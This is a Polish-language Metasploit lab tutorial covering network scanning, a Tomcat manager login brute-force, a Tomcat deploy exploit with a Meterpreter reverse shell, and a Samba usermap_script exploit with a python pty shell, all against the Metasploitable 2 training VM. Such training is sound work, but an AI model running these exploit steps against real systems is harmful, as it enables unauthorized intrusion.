Omówienie sposobów jak zagrożenia omijają kontrolki operacyjne

Metasploit - narzędzie służy do testów penetracyjnych i łamania zabezpieczeń systemów teleinformatycznych.

Główne cechy:

- 3 dostępne wersje - Community/Express/Pro
- zawiera bazę gotowych exploitów
- udostępnia interfejs do tworzenia własnych exploitów

W pierwszej kolejności (w przypadku braku oprogramowania) należy zainstalować Metasploit framework: https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers

Instalacja Debian/Ubuntu

```
curl https://raw.githubusercontent.com/rapid7/metasploit-
omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb >
msfinstall
chmod 755 msfinstall
./msfinstall
```

Instalacja Fedora/CentOS/Rhel

```
curl https://raw.githubusercontent.com/rapid7/metasploit-
omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb >
msfinstall
chmod 755 msfinstall
./msfinstall
```

Skanowanie hostów w poszukiwaniu podatności

```
# Włączenie konsoli metasploit'a
sudo msfconsole
# wyświetlenie komend metasploit'a
help
```

Wyszukanie hostów dostępnych w sieci lokalnej

```
nmap -O 192.168.1.1/24
```

Pokazanie szczegółowego wyniku dla hosta 192.168.1.34

```
nmap -sV 192.168.1.34
```

Wyświetlenie listy modułów do skanowania wbudowanych w metasploit'a

```
# Polecenie wpisujemy w otwartą konsolę metasploit'a
search portscan
```

Wykorzystanie modułu metasploit'a do skanowania portów

```
# przejście do wybranego modułu
use auxiliary/scanner/portscan/syn
# pokazanie opcji modułu
options
# definiowanie hosta do skanowania
set rhosts 192.168.1.34
# definiowanie ilości wątków
set threads 10
# Wykonanie skanowania
run
# lub
exploit
```

Uwaga1: Użyta w nagraniu maszyna wirtalna o adresie 192.168.1.33 to w rzeczywistości Metasploitable 2, która de facto jest podatną na ataki wersją Ubuntu Linux. Choć nie jest to niezbędne do poprawnego wykonania ćwiczenia, to w celu otrzymania tych samych lub zbliżonych rezultatów oraz w celu znalezienia wielu podatności, warto utworzyć sobie we własnej podsieci taką wirtualną maszynę do testów penetracyjnych. Ta wirtualna maszyna pozwala na sprawdzenie wielu funkcjonalności metasploit framework, tak byśmy byli w stanie znaleźć następnie podobne podatności we własnych podsieciach. Maszynę można pobrać ze strony Metasploitable 2 i uruchomić w VMWare Player, VMWare Workstation, VMWare Server lub jak w ćwiczeniu, w VirtualBox.

Instalacja Metasploitable 2 na Debian/Ubuntu

```
wget http://downloads.metasploit.com/data/metasploitable/metasploitable-linux-
2.0.0.zip
mkdir metasploitable
mv metasploitable-linux-2.0.0.zip metasploitable/.
cd metasploitable
unzip *
ls -lah
# Następnie uruchamiamy obraz dysku wirtualnej maszyny Tworząc nową instancję w VMWare
lub VirtualBox
```

Login i hasło do maszyny *Metasploitable 2*, to `msfadmin:msfadmin` Następnie adres maszyny w lokalnej podsieci można znaleźć wpisując w terminal *Metasploitable 2*

```
ifconfig
# np. jak w ćwiczeniu dla interfejsu eth0 192.168.1.33
```

Należy też pamiętać o skonfigurowaniu adaptera sieciowego jako Bridged (mostkowany)

Uwaga2: Z kolei maszyna 192.168.1.34 w ćwiczeniu jest inną maszyną dostępną w podsieci zawierającą mniej podatności. W Twoim przypadku może to być dowolna inna maszyna lub maszyna wirtualna, dla której możesz testować różne powierzchnie ataku

---

Rozpoznanie wersji protokołu smb

```
# Wyszukanie modułu pozwalającego na wykrycie wersji protokołu smb
search smb
# przejście do wybranego modułu
use auxiliary/scanner/smb/smb_version
```

```
# definiowanie hosta do skanowania
set rhosts 192.168.1.34
# definiowanie ilości wątków
set threads 10
# Wykonanie skanowania
run
# lub
exploit
```

Rozpoznianie wersji serwera mssql

```
# Wyszukanie modułu pozwalającego na wykrycie wersji protokołu mssql
search mssql
# przejście do wybranego modułu
use auxiliary/scanner/mssql/mssql_ping
# definiowanie hosta do skanowania
set rhosts 192.168.1.34
# definiowanie ilości wątków
set threads 255
# Wykonanie skanowania
run
```

Rozpoznanie wersji serwera ssh

```
# Wyszukanie modułu pozwalającego na wykrycie wersji protokołu ssh
search ssh
# przejście do wybranego modułu
use auxiliary/scanner/ssh/ssh_version
# lub
use [numer_modulu]
# definiowanie hosta do skanowania
set rhosts 192.168.1.1/24
# definiowanie ilości wątków
set threads 50
# Wykonanie skanowania
run
```

Rozpoznanie wersji serwera ftp

```
# Wyszukanie modułu pozwalającego na wykrycie wersji protokołu ftp
search ftp
# przejście do wybranego modułu
use auxiliary/scanner/ftp/ftp_version
# definiowanie hosta do skanowania
set rhosts 192.168.1.1/24
# definiowanie ilości wątków
set threads 50
# Wykonanie skanowania
run
```

Sprawdzamy, czy znaleziony serwer ftp może działać w trybie anonymous

```
# przejście do wybranego modułu
use auxiliary/scanner/ftp/anonymous
# definiowanie hosta do skanowania
set rhosts 192.168.1.33
set threads 50
# Wykonanie skanowania
run
```

Ponownie skanujemy docelową maszynę Metasploitable 2

```
nmap -sV 192.168.1.33
```

Sprawdzamy podatności Tomcat np. w https://www.exploit-db.com/

Atakowanie serwera tomcat

```
# Wyszukanie modułu pozwalającego na wykrycie wersji protokołu
search apache
# lub
grep tomcat search apache
# przejście do wybranego modułu
use auxiliary/scanner/http/tomcat_mgr_login
# pokazanie informacji o module
info
# pokazanie opcji modułu
options
# definiowanie hosta do skanowania
set rhosts 192.168.1.33
# definiowanie ilości wątków
set threads 50
# definiowanie portu
set rport 8180
# wyłączenie trybu gadatliwego (można tą opcję pominąć, aby sprawdzić więcej
szczegółów działania metasploit)
set verbose false
# Wykonanie skanowania
run
```

Wykonanie exploita na serwer tomcat

```
# przejście do wybranego modułu
use exploit/multi/http/tomcat_mgr_deploy
# lub
use 17
# pokazanie opcji modułu
options
# ustawienie hasła
set HttpPassword tomcat
# ustawienie użytkownika
set HttpUsername tomcat
# definiowanie hosta do skanowania
set rhosts 192.168.1.33
# definiowanie lokalnego portu
```

```
set lport 9999
# definiowanie zdalnego portu
set rport 8180
# wyłączenie trybu gadatliwego
set verbose false
# załadowanie payload
set payload java/meterpreter/reverse_tcp
# Wykonanie skanowania
exploit
```

Po udanym wykonaniu exploita pojawia się konsola meterpreter

```
# wyświetlenie komend meterpreter'a
help
# sprawdzenia adresu ip komputera z którym jesteśmy połączeni
ifconfig
# wyświetlenie listy procesów na komputerze z którym jesteśmy połączeni
ps
# Informacja o zalogowanym użytkowniku
getuid
# Informacja o wersji systemu komputerze z którym jesteśmy połączeni
sysinfo

exit
```

Atak na serwer samby wykorzystując podatność
https://www.rapid7.com/db/modules/exploit/multi/samba/usermap_script/

```
search samba
# lub
grep usermap search samba
# przejście do wybranego modułu
use exploit/multi/samba/usermap_script
# pokazanie opcji modułu
options
# definiowanie hosta do skanowania
set rhosts 192.168.1.33
# Wykonanie skanowania
run
# sprawdzenie nazwy użytkownika na zaatakowanym systemie
whoami
# sprawdzenie nazwy systemu na zaatakowanym systemie
uname -a
# wywołanie powłoki na zaatakowanym komputerze
python -c 'import pty;pty.spawn("/bin/bash")'

# przykładowe komendy wykonywane na zaatakowanej maszynie
ls
cd /home
ls
```

W ćwiczeniu zobrazowane zostały wyłącznie wybrane - najpopularniejsze powierzchnie ataku, pozwalające ominąć kontrolki bezpieczeństwa i konieczność uwierzytelniania w

celu osiągnięcia dostępu do aktywów. Korzystając z *Metasploit framework* oraz wirtualnej maszyny *Metasploitable 2* możesz samodzielnie doskonalić swoje umiejętności prowadzenia testów penetracyjnych, sprawdzając i znajdując wiele dodatkowych, potencjalnych powierzchni ataku. O wiele więcej przykładów podatności, które możesz wykorzystać znajdziesz w Metasploitable 2 Exploitability Guide, np.:

- jak wykonać sql injection
- jak włamać się przez php
- jak wykorzystać podatność ftp lub telnet
- i wiele więcej

Ćwiczenia te, pozwolą Ci uświadomić sobie, jak wiele potencjalnych zagrożeń niosą ze sobą podatności systemu, które rosną m.in. wraz z liczbą dodatkowych (zwłaszcza nieaktualizowanych) usług. Z kolei wiedza ta, pozwoli Ci w przyszłości lepiej zabezpieczać powierzchnię ataku własnych systemów lub ułatwi Ci naukę przeprowadzania testów penetracyjnych lub korzystania z narzędzia *metasploit*.